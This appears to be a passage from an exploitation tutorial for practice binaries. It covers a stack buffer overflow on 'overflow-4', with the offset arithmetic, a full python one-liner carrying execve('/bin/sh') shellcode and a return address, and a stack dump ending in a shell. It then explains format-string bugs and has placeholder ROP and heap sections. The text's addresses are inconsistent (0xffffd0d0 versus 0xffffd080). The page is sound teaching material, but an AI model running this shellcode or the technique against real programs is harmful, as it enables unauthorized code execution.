Play with the binary a bit and see what you can find out before continuing... or just keep reading I'm not the police. The label of beginning of buffer at address 0xffffd0d0 is the start of our input and the saved eip is at 0xffffd11c. To get to the start of the saved eip is only 0xffffd11c - 0xffffd0d0 or 0x4c (76) bytes. So now we're at the saved eip, but what do we want to do? There's no real place to go with this buffer overflow so our only option right now is to use shellcode.

What should we do with our shellcode? Should we put it at the beginning, middle, or end of our input and what should we put for the value of the saved eip? That's right, we should put it at the beginning override the value of the saved eip with the location of the shellcode (What is this, dora the explorer)! Putting the shellcode at the beginning of the buffer will allow us to use the 0xffffd0d0 address as the beginning of the shellcode. Let's see what this looks like:

./overflow-4 $(python -c "print  '\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80' + 'a'*51 + '\x80\xd0\xff\xff'")
Stack dump:
0xffffd0d0: 0xffffd300 (first argument)
0xffffd0cc: 0xffffd080 (saved eip)
0xffffd0c8: 0x61616161 (saved ebp)
0xffffd0c4: 0x61616161
0xffffd0c0: 0x61616161
0xffffd0bc: 0x61616161
0xffffd0b8: 0x61616161
0xffffd0b4: 0x61616161
0xffffd0b0: 0x61616161
0xffffd0ac: 0x61616161
0xffffd0a8: 0x61616161
0xffffd0a4: 0x61616161
0xffffd0a0: 0x61616161
0xffffd09c: 0x61616161
0xffffd098: 0x61616180
0xffffd094: 0xcde18953
0xffffd090: 0x52e3896e
0xffffd08c: 0x69622f68
0xffffd088: 0x68732f2f
0xffffd084: 0x6852d231
0xffffd080: 0x0bb0c031 (beginning of buffer)
$ 

We did it! We put our shellcode at the beginning of the input and then padded it with 51 bytes because it's 76 bytes to the saved eip and our shellcode is 25 bytes. Now we just add the 4 byte address of the beginning of our buffer and then we get a shell.

More Challenges On Their Way!

Format Strings

Why Do They Exist?


        printf("Hello %s!\n", name);
        printf(buf);
            

C and C++ have what are called format strings. Format strings are in the format of ("%s", var) where the var is some string. There are actually several other common and uncommon format specifiers: %s for strings, %c for chars, %d for decimals, %f for floats, %x for hex representation, and %n for writing to the variable. So where does the vulnerability come in? Look at the first line of code, we have a format specifier and a variable attached that the specifier will use. The second line has no specifier. It will simply print out whatever is in the variable.

This poses a very big problem because what would happen if in the buf variable it contained a string that looked like this: "Format %d". This is actually also interpreted as a format string as well, but if you compare the two formats you'll see that the second is missing a variable to read from. The key is what we learned about the cdecl calling convention.

When a function is called its parameters are pushed to the stack. But now the format string is missing a parameter, but C and C++ don't care about that. When a function like printf is called even if the format string doesn't have the correct parameters, it'll still look up the stack and use the value of where it believes the paramter to be. We can actually use this to leak values on the stack!

ROP: Return Oriented Programming

Coming Soon!

Heap Exploitation

I'm not great at heaps. Coming not so soon!

In the mean time, check out Shellphish's how2heap.